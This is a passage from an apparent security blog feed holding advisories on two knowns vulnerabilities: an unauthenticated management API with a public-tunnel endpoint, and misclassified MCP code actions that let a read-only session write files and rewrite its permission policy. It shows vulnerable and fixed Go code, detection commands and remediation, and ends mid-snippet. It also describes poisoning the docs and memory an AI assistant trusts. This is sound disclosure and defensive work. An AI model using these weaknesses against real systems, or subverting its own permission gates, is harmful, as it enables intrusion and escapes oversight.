class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">&#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The guard is real, well written, and completely inert until somebody sets a password. Fresh installations have no password. The security control is therefore opt-in, and the default state of every new install is “off”.</p><p>This is a <em>fail-open</em> design. It is worth being precise about why it is tempting: without it, a first-run user is locked out of their own tool before they can configure it. The mistake is not the goal, it is the scope — the escape hatch was applied to the whole API surface and to every network interface, rather than being narrowed to loopback and to first-run setup.</p><h3 id="Defect-2-—-the-listener-binds-every-interface"><a href="#Defect-2-—-the-listener-binds-every-interface" class="headerlink" title="Defect 2 — the listener binds every interface"></a>Defect 2 — the listener binds every interface</h3><p>From <code>internal/cli/browser.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">listener, err := net.Listen(<span class="string">&quot;tcp&quot;</span>, fmt.Sprintf(<span class="string">&quot;0.0.0.0:%d&quot;</span>, port))</span><br></pre></td></tr></table></figure><p>And in <code>internal/server/server.go</code>:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">addr := <span class="string">&quot;:&quot;</span> + strconv.Itoa(s.port)</span><br><span class="line">listener, err := net.Listen(<span class="string">&quot;tcp&quot;</span>, addr)</span><br></pre></td></tr></table></figure><p>Both bind the wildcard address. The CLI then went a step further and printed the LAN address on startup:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ip := getLocalIP(); ip != <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">fmt.Printf(<span class="string">&quot;  %s  %s\n&quot;</span>, StyleInfo.Render(<span class="string">&quot;→&quot;</span>), StyleInfo.Render(fmt.Sprintf(<span class="string">&quot;http://%s:%d&quot;</span>, ip, port)))</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>Inferred:</strong> a convenience feature that advertises the reachable LAN URL also documents the exposure to anyone reading over a shoulder, in a screen share, or in a pasted terminal log.</p><h3 id="Defect-3-—-the-tunnel-endpoint-has-no-authorisation-of-its-own"><a href="#Defect-3-—-the-tunnel-endpoint-has-no-authorisation-of-its-own" class="headerlink" title="Defect 3 — the tunnel endpoint has no authorisation of its own"></a>Defect 3 — the tunnel endpoint has no authorisation of its own</h3><p>From <code>internal/server/routes/tunnel.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">SetupTunnelRoutes</span><span class="params">(r chi.Router, tunnelMgr TunnelManager, broadcaster Broadcaster)</span></span> &#123;</span><br><span class="line">r.Post(<span class="string">&quot;/start&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(w http.ResponseWriter, r *http.Request)</span></span> &#123;</span><br><span class="line">url, err := tunnelMgr.Start()</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">handleTunnelError(w, err)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line">status := tunnelMgr.Status()</span><br><span class="line">broadcastTunnelStatus(broadcaster, status)</span><br><span class="line">respondJSON(w, http.StatusOK, <span class="keyword">map</span>[<span class="type">string</span>]<span class="type">string</span>&#123;<span class="string">&quot;url&quot;</span>: url, <span class="string">&quot;status&quot;</span>: <span class="string">&quot;running&quot;</span>&#125;)</span><br><span class="line">&#125;)</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The handler delegates entirely to the shared middleware for protection. Because that middleware is inert on a fresh install, the endpoint that changes the service’s exposure model inherits exactly zero checks. The handler even returns the resulting public URL in its response, so the caller does not have to guess where the service now lives.</p><h3 id="The-three-defects-compose"><a href="#The-three-defects-compose" class="headerlink" title="The three defects compose"></a>The three defects compose</h3><p>Individually, each is arguable. A local-only tool binding <code>0.0.0.0</code> is sloppy. Optional authentication is a product decision. A tunnel endpoint without its own check is a layering choice. Together they form a complete, credential-free chain from “same network” to “internet-published management API with full project access”.</p><p><strong>Inferred:</strong> this is the ordinary shape of a critical finding in developer tooling. It is rarely one dramatic bug. It is three reasonable-looking defaults whose intersection nobody modelled.</p><h2 id="Impact"><a href="#Impact" class="headerlink" title="Impact"></a>Impact</h2><h3 id="Verified-impact"><a href="#Verified-impact" class="headerlink" title="Verified impact"></a>Verified impact</h3><ul><li>The management API was reachable without credentials from any host that could route to the listener.</li><li>No privileges and no user interaction were required (<code>PR:N/UI:N</code>).</li><li>Confidentiality, integrity, and availability impacts on the vulnerable system are all rated High.</li><li>An unauthenticated caller could provision a public tunnel and republish the API at a publicly accessible address.</li></ul><h3 id="Deployment-dependent-consequences"><a href="#Deployment-dependent-consequences" class="headerlink" title="Deployment-dependent consequences"></a>Deployment-dependent consequences</h3><p>The following are <strong>inferred</strong>:</p><ul><li>disclosure of project specifications, architectural decisions, internal notes, and memory entries held by the server;</li><li>read and write access to the project source tree through the exposed code and docs routes;</li><li>persistence of exposure beyond the attacker’s presence on the local network, once a tunnel is running;</li><li>chaining with <a href="/posts/2026/09/cve-2026-86538-knowns-path-traversal-template-preview/">CVE-2026-86538</a> to read files outside the project — credentials, SSH keys, cloud configuration — with no authentication;</li><li>chaining with <a href="/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/">CVE-2026-86542</a> to write attacker-controlled files outside the imports directory, which in turn can plant a malicious <code>.knowns/config.json</code> and reach code execution through <a href="/posts/2026/09/cve-2026-86540-knowns-arbitrary-code-execution-lsp-binary/">CVE-2026-86540</a>;</li><li>poisoning of the docs, specs, and memory that an AI assistant reads, which is a durable influence channel over code the developer will later accept.</li></ul><p>That last point deserves emphasis. Compromising a context server is not only a data-theft event. The whole purpose of the product is that an AI assistant treats its contents as authoritative. Silent modification of a spec or an architectural decision is an attack on every future session.</p><h2 id="Safe-validation-and-detection"><a href="#Safe-validation-and-detection" class="headerlink" title="Safe validation and detection"></a>Safe validation and detection</h2><p>You can establish exposure without sending a single malicious request.</p><h3 id="Inventory-and-configuration-review"><a href="#Inventory-and-configuration-review" class="headerlink" title="Inventory and configuration review"></a>Inventory and configuration review</h3><ol><li><p>Locate every installed knowns instance — npm global installs, project dev-dependencies, dev containers, and CI images.</p></li><li><p>Record the version. Anything earlier than 0.30.0 is affected.</p></li><li><p>On each host, check what the process is actually bound to:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Any bind address that is not loopback is the exposed condition.</span></span><br><span class="line">ss -ltnp | grep -i knowns</span><br><span class="line">lsof -nP -iTCP -sTCP:LISTEN | grep -i knowns</span><br></pre></td></tr></table></figure></li><li><p>Check whether a password is configured. <code>GET /api/auth/status</code> is a legitimate, non-destructive endpoint the product exposes for exactly this purpose.</p></li><li><p>Check whether a tunnel is or has been running, and treat any unexplained tunnel as an incident rather than a misconfiguration.</p></li></ol><h3 id="Telemetry-to-review"><a href="#Telemetry-to-review" class="headerlink" title="Telemetry to review"></a>Telemetry to review</h3><ul><li>inbound connections to the knowns port from any address other than loopback;</li><li><code>POST /api/tunnel/start</code> in access logs, especially from an unexpected source or at a time when no developer was present;</li><li><code>cloudflared</code> (or equivalent) child processes spawned by the knowns process;</li><li>outbound connections consistent with tunnel establishment;</li><li>unexplained changes to files under <code>.knowns/</code>, particularly <code>config.json</code>, docs, and memory entries;</li><li>requests to <code>/api/templates/preview</code> and <code>/api/imports</code> with unusual parameters.</li></ul><p><strong>Inferred:</strong> a knowns process with a live tunnel and no password is best treated as a compromise until proven otherwise, because the exposure window is unbounded and the API grants project read&#x2F;write.</p><h2 id="Remediation-and-hardening"><a href="#Remediation-and-hardening" class="headerlink" title="Remediation and hardening"></a>Remediation and hardening</h2><h3 id="Required-remediation"><a href="#Required-remediation" class="headerlink" title="Required remediation"></a>Required remediation</h3><p>Upgrade to <strong>knowns 0.30.0 or later</strong>. The fix in <a href="https://github.com/knowns-dev/knowns/commit/878a02cb7cc14f0a592fdfda7a520af3cac500fb"><code>878a02cb7cc1</code></a> closes all three defects rather than patching one of them:</p><p><strong>The listener is loopback by default.</strong></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">addr := net.JoinHostPort(<span class="string">&quot;127.0.0.1&quot;</span>, strconv.Itoa(s.port))</span><br></pre></td></tr></table></figure><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">listener, err := net.Listen(<span class="string">&quot;tcp&quot;</span>, fmt.Sprintf(<span class="string">&quot;127.0.0.1:%d&quot;</span>, port))</span><br></pre></td></tr></table></figure><p><strong>A non-loopback listener is refused unless a password exists.</strong> This is the important structural change — the invariant is enforced at the point of serving, not at each call site:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(s *Server)</span></span> serve(listener net.Listener) <span class="type">error</span> &#123;</span><br><span class="line"><span class="keyword">if</span> !listenerIsLoopback(listener) &amp;&amp; !s.auth.HasPassword() &#123;</span><br><span class="line"><span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;non-loopback listener requires password protection&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> s.opts.Tunnel &amp;&amp; !s.auth.HasPassword() &#123;</span><br><span class="line"><span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;tunnel requires password protection&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>The tunnel endpoint gained its own check</strong> rather than trusting shared middleware:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">r.Post(<span class="string">&quot;/start&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(w http.ResponseWriter, r *http.Request)</span></span> &#123;</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(protectionReady) &gt; <span class="number">0</span> &amp;&amp; protectionReady[<span class="number">0</span>] != <span class="literal">nil</span> &amp;&amp; !protectionReady[<span class="number">0</span>]() &#123;</span><br><span class="line">respondError(w, http.StatusForbidden, <span class="string">&quot;password protection is required before starting a public tunnel&quot;</span>)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p><strong>Password removal is blocked while a tunnel is live</strong>, closing the obvious downgrade path of “authenticate, remove password, keep the tunnel”:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ar.canRemovePassword != <span class="literal">nil</span> &amp;&amp; !ar.canRemovePassword() &#123;</span><br><span class="line">respondError(w, http.StatusConflict, <span class="string">&quot;stop the public tunnel before removing password protection&quot;</span>)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The CLI also now refuses <code>--tunnel</code> without <code>--password</code>, drops the LAN-URL advertisement, and the router adds a <code>trustedOriginMiddleware</code> so cross-site requests are rejected before CORS can answer a preflight.</p><h3 id="Defense-in-depth"><a href="#Defense-in-depth" class="headerlink" title="Defense in depth"></a>Defense in depth</h3><ul><li>Set a password on every instance, even after upgrading, and especially on shared or remote development hosts.</li><li>Do not expose developer context servers to any network you do not control; prefer SSH port forwarding over binding a routable interface.</li><li>Treat “start a public tunnel” as an administrative action requiring explicit, interactive, local confirmation — not an API call.</li><li>Apply host firewall rules to the knowns port rather than relying on the application’s bind address alone.</li><li>In dev containers and cloud workspaces, verify what the platform publishes; some automatically forward listening ports.</li><li>Rotate any credential that was reachable from the project directory if you cannot rule out exposure.</li><li>Review <code>.knowns/</code> contents for unexpected modification, since poisoned context outlives the network exposure that created it.</li></ul><p>Upgrading is the fix. Firewalling is a compensating control — useful, but it does not help against a peer on the same VLAN, and it does nothing once a tunnel has been established from the inside.</p><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><table><thead><tr><th>Date</th><th>Event</th><th>Source certainty</th></tr></thead><tbody><tr><td>2026-08-15</td><td>Fix commit <code>878a02cb7cc1</code> authored in the knowns repository</td><td>Repository metadata</td></tr><tr><td>2026-08-16</td><td>Public disclosure date recorded on the CVE record</td><td>CVE record <code>datePublic</code></td></tr><tr><td>2026-09-07</td><td>CVE-2026-86543 reserved and published</td><td>CVE record metadata</td></tr><tr><td>2026-09-08</td><td>This analysis published</td><td>This site</td></tr></tbody></table><p>Consult the live CVE, GHSA, and VulnCheck records during remediation; vulnerability entries are routinely enriched and revised after publication.</p><h2 id="Lessons-for-builders"><a href="#Lessons-for-builders" class="headerlink" title="Lessons for builders"></a>Lessons for builders</h2><h3 id="“Local-tool”-is-a-deployment-claim-not-a-property"><a href="#“Local-tool”-is-a-deployment-claim-not-a-property" class="headerlink" title="“Local tool” is a deployment claim, not a property"></a>“Local tool” is a deployment claim, not a property</h3><p>If a process calls <code>net.Listen</code> on a wildcard address, it is a network service. The correct default is <code>127.0.0.1</code>, and any widening should be an explicit, argued decision that carries an authentication requirement with it.</p><h3 id="Fail-open-authentication-is-not-authentication"><a href="#Fail-open-authentication-is-not-authentication" class="headerlink" title="Fail-open authentication is not authentication"></a>Fail-open authentication is not authentication</h3><p>A middleware that returns early when unconfigured provides confidence without protection. If setup genuinely needs an unauthenticated window, scope it to loopback and to the specific setup endpoints — never to the entire API on every interface. The 0.30.0 fix is instructive precisely because it inverts the default: the server now refuses to serve in the unsafe combination rather than serving with the check disabled.</p><h3 id="Endpoints-that-change-exposure-deserve-their-own-gate"><a href="#Endpoints-that-change-exposure-deserve-their-own-gate" class="headerlink" title="Endpoints that change exposure deserve their own gate"></a>Endpoints that change exposure deserve their own gate</h3><p>Middleware is a layer, not a guarantee. Any handler that alters the system’s own reachability — tunnels, port bindings, listener configuration, remote-access toggles — should re-check authorisation locally. That handler’s failure mode is categorically worse than a data endpoint’s, so it should not share a single point of failure with them.</p><h3 id="Model-the-intersection-of-defaults-not-each-default-alone"><a href="#Model-the-intersection-of-defaults-not-each-default-alone" class="headerlink" title="Model the intersection of defaults, not each default alone"></a>Model the intersection of defaults, not each default alone</h3><p>Wildcard bind, optional auth, and an unauthenticated topology endpoint each survived review. The combination is a 9.3. Threat modelling that examines settings independently will keep missing this class. Ask instead: what is the worst reachable state a user can arrive at without making a single wrong decision?</p><h3 id="Context-servers-are-high-value-targets"><a href="#Context-servers-are-high-value-targets" class="headerlink" title="Context servers are high-value targets"></a>Context servers are high-value targets</h3><p>A tool that holds a project’s specifications and feeds them to an AI assistant is both a data store and an influence channel. Design it with the posture of a secrets store, not the posture of a linter.</p><h2 id="Related-advisories-in-this-set"><a href="#Related-advisories-in-this-set" class="headerlink" title="Related advisories in this set"></a>Related advisories in this set</h2><p>Eight CVEs were assigned to knowns before 0.30.0 and fixed in the same release:</p><ul><li><a href="/posts/2026/09/cve-2026-86538-knowns-path-traversal-template-preview/">CVE-2026-86538</a> — unauthenticated arbitrary file read via <code>templateFile</code></li><li><a href="/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/">CVE-2026-86542</a> — unauthenticated arbitrary file write via import name</li><li><a href="/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/">CVE-2026-86439</a> — path traversal through MCP doc and memory tools</li><li><a href="/posts/2026/09/cve-2026-86541-knowns-path-traversal-code-replace/">CVE-2026-86541</a> — path traversal in the <code>code.replace</code> MCP action</li><li><a href="/posts/2026/09/cve-2026-86544-knowns-authorization-bypass-code-actions/">CVE-2026-86544</a> — authorisation bypass via misclassified code actions</li><li><a href="/posts/2026/09/cve-2026-86540-knowns-arbitrary-code-execution-lsp-binary/">CVE-2026-86540</a> — arbitrary code execution via the LSP binary override</li><li><a href="/posts/2026/09/cve-2026-86775-knowns-path-traversal-document-api/">CVE-2026-86775</a> — unauthenticated path traversal through the HTTP Document API</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-86543">CVE.org record: CVE-2026-86543</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-86543">NIST National Vulnerability Database: CVE-2026-86543</a></li><li><a href="https://github.com/knowns-dev/knowns/security/advisories/GHSA-fc85-99vc-9c75">GitHub Security Advisory: GHSA-fc85-99vc-9c75</a></li><li><a href="https://www.vulncheck.com/advisories/knowns-before-0.30.0-unauthenticated-management-api-exposure">VulnCheck advisory</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/server/auth.go#L80-L86"><code>AuthManager.Middleware</code> at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/cli/browser.go#L193-L200">Browser listener binds <code>0.0.0.0</code> at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/server/routes/tunnel.go#L26-L38"><code>POST /api/tunnel/start</code> at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/commit/878a02cb7cc14f0a592fdfda7a520af3cac500fb">Fix commit <code>878a02cb7cc1</code></a></li><li><a href="https://github.com/knowns-dev/knowns/releases/tag/v0.30.0">knowns v0.30.0 release notes</a></li></ul><p>Reported by Tong Hoang Gia and Nguyen Huy Hoang. Public vulnerability records change as maintainers and databases add references or revise metadata; recheck the primary sources above during remediation and incident response.</p>]]></content>
    
    
    <summary type="html">CVE-2026-86543 affects knowns before 0.30.0, which serves its management API without authentication on all interfaces and lets anyone start a public tunnel. Upgrade to 0.30.0.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Vulnerability Research" scheme="https://blog.nhhoang.io.vn/categories/Research/Vulnerability-Research/"/>
    
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="cve" scheme="https://blog.nhhoang.io.vn/tags/cve/"/>
    
    <category term="mcp" scheme="https://blog.nhhoang.io.vn/tags/mcp/"/>
    
    <category term="knowns" scheme="https://blog.nhhoang.io.vn/tags/knowns/"/>
    
    <category term="golang" scheme="https://blog.nhhoang.io.vn/tags/golang/"/>
    
    <category term="missing-authentication" scheme="https://blog.nhhoang.io.vn/tags/missing-authentication/"/>
    
    <category term="tunnel" scheme="https://blog.nhhoang.io.vn/tags/tunnel/"/>
    
    <category term="exposure" scheme="https://blog.nhhoang.io.vn/tags/exposure/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2026-86544: knowns Authorization Bypass via Misclassified Code Actions</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86544-knowns-authorization-bypass-code-actions/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86544-knowns-authorization-bypass-code-actions/</id>
    <published>2026-09-08T04:30:00.000Z</published>
    <updated>2026-11-12T15:04:06.496Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Scope and safety.</strong> This article analyses a fixed, publicly disclosed vulnerability using the vendor’s own published source references. It describes the defective authorisation logic and the remediation. It does not include a runnable proof of concept or injection prompts.</p></blockquote><h2 id="Executive-summary"><a href="#Executive-summary" class="headerlink" title="Executive summary"></a>Executive summary</h2><p>CVE-2026-86544 is an incorrect-authorisation vulnerability in <a href="https://github.com/knowns-dev/knowns">knowns</a> before 0.30.0. The MCP permission layer classified each tool action as read, write, generate, delete, or admin, and a guard middleware enforced the session’s policy against that classification. The mechanism was sound. The data it consulted was wrong.</p><p>The action registry listed only the four <em>read</em> code actions. Every mutating code action — <code>code.replace</code>, <code>code.rename</code>, <code>code.insert</code>, <code>code.replace_body</code>, <code>code.delete</code> — was missing, and the lookup fell back to a tool-level default that classified the entire <code>code</code> tool as <code>CapRead</code>. A session deliberately restricted to reading therefore passed the capability gate for operations that write and delete files.</p><p>The weakness is <strong>CWE-863: Incorrect Authorization</strong>. The vendor scores it <strong>CVSS 4.0 7.2 High</strong> (<code>CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N</code>) and <strong>CVSS 3.1 8.1 High</strong> (<code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H</code>).</p><p>The escalation is what lifts this above a simple gate bypass. Because <code>code.replace</code> can write files, and the permission policy is itself configuration on disk, an attacker in a read-restricted session could rewrite the policy — and then hold genuine elevated permissions on every subsequent call. A bypass becomes a grant.</p><p>Fixed in <strong>knowns 0.30.0</strong> by commit <a href="https://github.com/knowns-dev/knowns/commit/a2c98fc5c313463576c9348beeec6a74ddd7333b"><code>a2c98fc5c313</code></a>, the same commit that fixed <a href="/posts/2026/09/cve-2026-86541-knowns-path-traversal-code-replace/">CVE-2026-86541</a>.</p><p><strong>Evidence labels used below:</strong></p><ul><li><strong>Verified</strong> means stated by the CVE record, the GitHub Security Advisory, or the project’s published source and release material.</li><li><strong>Inferred</strong> means a consequence derived from those facts and clearly marked as such.</li></ul><h2 id="Key-facts"><a href="#Key-facts" class="headerlink" title="Key facts"></a>Key facts</h2><table><thead><tr><th>Item</th><th>Finding</th><th>Confidence</th></tr></thead><tbody><tr><td>Identifier</td><td>CVE-2026-86544</td><td>Verified</td></tr><tr><td>Advisory</td><td>GHSA-w323-3wpx-f7g5</td><td>Verified</td></tr><tr><td>Product</td><td>knowns (<code>pkg:npm/knowns</code>, Go implementation)</td><td>Verified</td></tr><tr><td>Affected versions</td><td>All versions before 0.30.0</td><td>Verified</td></tr><tr><td>Fixed version</td><td>0.30.0</td><td>Verified</td></tr><tr><td>Weakness</td><td>Incorrect authorisation, CWE-863</td><td>Verified</td></tr><tr><td>Defective component</td><td><code>ActionRegistry</code> &#x2F; <code>ClassifyAction</code> in <code>internal/permissions</code></td><td>Verified</td></tr><tr><td>Enforcement point</td><td>Guard middleware capability gate</td><td>Verified</td></tr><tr><td>Escalation</td><td>Modify permission configuration, then act with elevated rights</td><td>Verified</td></tr><tr><td>CVSS 4.0</td><td>7.2 High</td><td>Verified</td></tr><tr><td>CVSS 3.1</td><td>8.1 High</td><td>Verified</td></tr><tr><td>Reporters</td><td>Tong Hoang Gia, Nguyen Huy Hoang</td><td>Verified</td></tr><tr><td>Fix commit</td><td><code>a2c98fc5c313463576c9348beeec6a74ddd7333b</code></td><td>Verified</td></tr></tbody></table><h2 id="Root-cause-analysis"><a href="#Root-cause-analysis" class="headerlink" title="Root-cause analysis"></a>Root-cause analysis</h2><h3 id="The-registry-knew-about-reads-and-not-writes"><a href="#The-registry-knew-about-reads-and-not-writes" class="headerlink" title="The registry knew about reads and not writes"></a>The registry knew about reads and not writes</h3><p>From <code>internal/permissions/registry.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// code</span></span><br><span class="line"><span class="string">&quot;code.search&quot;</span>:  &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;code.symbols&quot;</span>: &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;code.deps&quot;</span>:    &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;code.graph&quot;</span>:   &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br></pre></td></tr></table></figure><p>Four entries. The code tool shipped considerably more actions than four — the handler file implements find, definition, references, implementations, diagnostics, rename, replace, replace_body, insert, and delete. None of the mutating ones appear.</p><h3 id="The-fallbacks-are-fail-open-twice"><a href="#The-fallbacks-are-fail-open-twice" class="headerlink" title="The fallbacks are fail-open, twice"></a>The fallbacks are fail-open, twice</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// toolFallback provides default classification at the tool level when no</span></span><br><span class="line"><span class="comment">// specific tool.action entry exists.</span></span><br><span class="line"><span class="keyword">var</span> toolFallback = <span class="keyword">map</span>[<span class="type">string</span>]ActionMeta&#123;</span><br><span class="line"><span class="string">&quot;tasks&quot;</span>:     &#123;Capability: CapRead, Target: TargetTask, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;docs&quot;</span>:      &#123;Capability: CapRead, Target: TargetDoc, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;time&quot;</span>:      &#123;Capability: CapRead, Target: TargetTime, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;search&quot;</span>:    &#123;Capability: CapRead, Target: TargetSearch, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;code&quot;</span>:      &#123;Capability: CapRead, Target: TargetCode, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;templates&quot;</span>: &#123;Capability: CapRead, Target: TargetTemplate, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;validate&quot;</span>:  &#123;Capability: CapRead, Target: TargetRuntime, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;memory&quot;</span>:    &#123;Capability: CapRead, Target: TargetMemory, Risk: RiskLow&#125;,</span><br><span class="line"><span class="string">&quot;project&quot;</span>:   &#123;Capability: CapAdmin, Target: TargetRuntime, Risk: RiskMedium&#125;,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// defaultMeta is returned when no classification is found.</span></span><br><span class="line"><span class="keyword">var</span> defaultMeta = ActionMeta&#123;Capability: CapRead, Target: TargetRuntime, Risk: RiskLow&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ClassifyAction returns the ActionMeta for a tool+action combination.</span></span><br><span class="line"><span class="comment">// It checks the full &quot;tool.action&quot; key first, then falls back to tool-level</span></span><br><span class="line"><span class="comment">// defaults, and finally returns a safe read default.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">ClassifyAction</span><span class="params">(tool, action <span class="type">string</span>)</span></span> ActionMeta &#123;</span><br><span class="line">key := tool + <span class="string">&quot;.&quot;</span> + action</span><br><span class="line"><span class="keyword">if</span> meta, ok := ActionRegistry[key]; ok &#123;</span><br><span class="line"><span class="keyword">return</span> meta</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> meta, ok := toolFallback[tool]; ok &#123;</span><br><span class="line"><span class="keyword">return</span> meta</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> defaultMeta</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The doc comment contains the whole bug in three words: <em>“a safe read default”</em>.</p><p><code>CapRead</code> is the safe default <strong>for the caller</strong>. It is the dangerous default <strong>for the system</strong>. When an unknown action is classified as read, the effect is not that the action is treated cautiously — it is that the action is <em>permitted</em> under the most permissive common policy, while the guard reports success. The system fails open and says nothing.</p><p>Compare the one entry that got it right: <code>&quot;project&quot;: &#123;Capability: CapAdmin, ...&#125;</code>. That fallback assumes the most restrictive capability, so an unrecognised project action is denied rather than allowed. The author clearly understood the principle; it simply was not applied to the tool whose action set had grown the most.</p><h3 id="The-guard-was-working-correctly"><a href="#The-guard-was-working-correctly" class="headerlink" title="The guard was working correctly"></a>The guard was working correctly</h3><p>From <code>internal/permissions/guard.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Classify the action.</span></span><br><span class="line">meta := classifyToolAction(toolName, action, args)</span><br><span class="line"></span><br><span class="line"><span class="comment">// Load effective policy.</span></span><br><span class="line">cfg := 